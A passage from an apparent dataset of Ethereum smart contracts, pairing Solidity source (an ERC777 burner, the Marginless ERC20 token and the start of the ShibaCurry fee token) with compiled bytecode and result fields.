* end in 28 zeroes).
* - `implementer` must implement {IERC1820Implementer} and return true when
* queried for support, unless `implementer` is the caller. See
* {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function setInterfaceImplementer(
address account,
bytes32 _interfaceHash,
address implementer
) external;
/**
* @dev Returns the implementer of `interfaceHash` for `account`. If no such
* implementer is registered, returns the zero address.
*
* If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28
* zeroes), `account` will be queried for support of it.
*
* `account` being the zero address is an alias for the caller's address.
*/
function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);
/**
* @dev Returns the interface hash for an `interfaceName`, as defined in the
* corresponding
* https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].
*/
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
/**
* @notice Updates the cache with whether the contract implements an ERC165 interface or not.
* @param account Address of the contract for which to update the cache.
* @param interfaceId ERC165 interface for which to update the cache.
*/
function updateERC165Cache(address account, bytes4 interfaceId) external;
/**
* @notice Checks whether a contract implements an ERC165 interface or not.
* If the result is not cached a direct lookup on the contract address is performed.
* If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
* {updateERC165Cache} with the contract address.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
/**
* @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
contract BlocksBurner is IERC777Recipient {
using SafeMath for uint256;
address public token = 0x8a6D4C8735371EBAF8874fBd518b56Edd66024eB;
IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
event ERC777TokensBurned(address tokenAddress, uint256 amount);
event ERC777Send(address operator, address from, address to, uint256 amount, bytes userData, bytes operatorData);
constructor() {
_erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
emit ERC777Send(operator, from, to, amount, userData, operatorData);
IERC777(token).burn(amount, "");
emit ERC777TokensBurned(token, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100355760003560e01c806223de291461003a578063fc0c546a14610056575b600080fd5b610054600480360381019061004f91906102cd565b610074565b005b61005e6101a6565b60405161006b91906103ab565b60405180910390f35b7e933d6eca98ea809b3dd058376cecf99137b69a8cb360a7e33959e730f6753988888888888888886040516100b0989796959493929190610433565b60405180910390a160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe9d9303866040518263ffffffff1660e01b815260040161011191906104cc565b600060405180830381600087803b15801561012b57600080fd5b505af115801561013f573d6000803e3d6000fd5b505050507f3d70a2c40625c9ade0acba50a135bb83a2175163c088fa2068594514ffd458d960008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040516101949291906104fa565b60405180910390a15050505050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006101ff826101d4565b9050919050565b61020f816101f4565b811461021a57600080fd5b50565b60008135905061022c81610206565b92915050565b6000819050919050565b61024581610232565b811461025057600080fd5b50565b6000813590506102628161023c565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261028d5761028c610268565b5b8235905067ffffffffffffffff8111156102aa576102a961026d565b5b6020830191508360018202830111156102c6576102c5610272565b5b9250929050565b60008060008060008060008060c0898b0312156102ed576102ec6101ca565b5b60006102fb8b828c0161021d565b985050602061030c8b828c0161021d565b975050604061031d8b828c0161021d565b965050606061032e8b828c01610253565b955050608089013567ffffffffffffffff81111561034f5761034e6101cf565b5b61035b8b828c01610277565b945094505060a089013567ffffffffffffffff81111561037e5761037d6101cf565b5b61038a8b828c01610277565b92509250509295985092959890939650565b6103a5816101f4565b82525050565b60006020820190506103c0600083018461039c565b92915050565b6103cf81610232565b82525050565b600082825260208201905092915050565b82818337600083830152505050565b6000601f19601f8301169050919050565b600061041283856103d5565b935061041f8385846103e6565b610428836103f5565b840190509392505050565b600060c082019050610448600083018b61039c565b610455602083018a61039c565b610462604083018961039c565b61046f60608301886103c6565b8181036080830152610482818688610406565b905081810360a0830152610497818486610406565b90509998505050505050505050565b50565b60006104b66000836103d5565b91506104c1826104a6565b600082019050919050565b60006040820190506104e160008301846103c6565b81810360208301526104f2816104a9565b905092915050565b600060408201905061050f600083018561039c565b61051c60208301846103c6565b939250505056fea2646970667358221220c5fc512cfe4515146242c7642be14e9c90e4847586214f1f3468ed4e683c6f3164736f6c634300080d0033
|
{"success": true, "error": null, "results": {}}
| 5,189 |
0x9165b1ed40c097073a7d15ad3ef49e3c5b132588
|
pragma solidity 0.4.19;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract MarginlessToken is ERC20, Ownable {
using SafeMath for uint256;
string public constant name = "Marginless Token";
string public constant symbol = "MRS";
uint8 public constant decimals = 18;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
uint256 private totalSupply_;
modifier canTransfer() {
require(mintingFinished);
_;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde0314610118578063095ea7b3146101a657806318160ddd1461020057806323b872dd14610229578063313ce567146102a257806340c10f19146102d1578063661884631461032b57806370a08231146103855780637d64bcb4146103d25780638da5cb5b146103ff57806395d89b4114610454578063a9059cbb146104e2578063d73dd6231461053c578063dd62ed3e14610596578063f2fde38b14610602575b600080fd5b34156100f657600080fd5b6100fe61063b565b604051808215151515815260200191505060405180910390f35b341561012357600080fd5b61012b61064e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b6101e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610687565b604051808215151515815260200191505060405180910390f35b341561020b57600080fd5b610213610779565b6040518082815260200191505060405180910390f35b341561023457600080fd5b610288600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610783565b604051808215151515815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610b5e565b604051808260ff1660ff16815260200191505060405180910390f35b34156102dc57600080fd5b610311600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b63565b604051808215151515815260200191505060405180910390f35b341561033657600080fd5b61036b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d4a565b604051808215151515815260200191505060405180910390f35b341561039057600080fd5b6103bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fdb565b6040518082815260200191505060405180910390f35b34156103dd57600080fd5b6103e5611024565b604051808215151515815260200191505060405180910390f35b341561040a57600080fd5b6104126110eb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045f57600080fd5b610467611110565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a757808201518184015260208101905061048c565b50505050905090810190601f1680156104d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ed57600080fd5b610522600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611149565b604051808215151515815260200191505060405180910390f35b341561054757600080fd5b61057c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611389565b604051808215151515815260200191505060405180910390f35b34156105a157600080fd5b6105ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611585565b6040518082815260200191505060405180910390f35b341561060d57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061160c565b005b600360009054906101000a900460ff1681565b6040805190810160405280601081526020017f4d617267696e6c65737320546f6b656e0000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000600360009054906101000a900460ff1615156107a057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107dc57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561082a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108b557600080fd5b61090782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099c82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bc057600080fd5b600360009054906101000a900460ff16151515610bdc57600080fd5b610bf18260045461177a90919063ffffffff16565b600481905550610c4982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e5b576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eef565b610e6e838261176190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108157600080fd5b600360009054906101000a900460ff1615151561109d57600080fd5b6001600360006101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4d5253000000000000000000000000000000000000000000000000000000000081525081565b6000600360009054906101000a900460ff16151561116657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111a257600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111f057600080fd5b61124282600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461176190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d782600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177a90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061141a82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561166757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156116a357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561176f57fe5b818303905092915050565b600080828401905083811015151561178e57fe5b80915050929150505600a165627a7a72305820d66698da5cbaf5bfe793c4cee66fd8b14f21c3105ea25a03e49a0cb0632456c40029
|
{"success": true, "error": null, "results": {}}
| 5,190 |
0xfd24175c86085054be8cd6ac5df3b012cfcc43cf
|
//https://t.me/shibacurry
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ShibaCurry is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**15 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Shiba Curry";
string private constant _symbol = 'SCURRY🍛';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
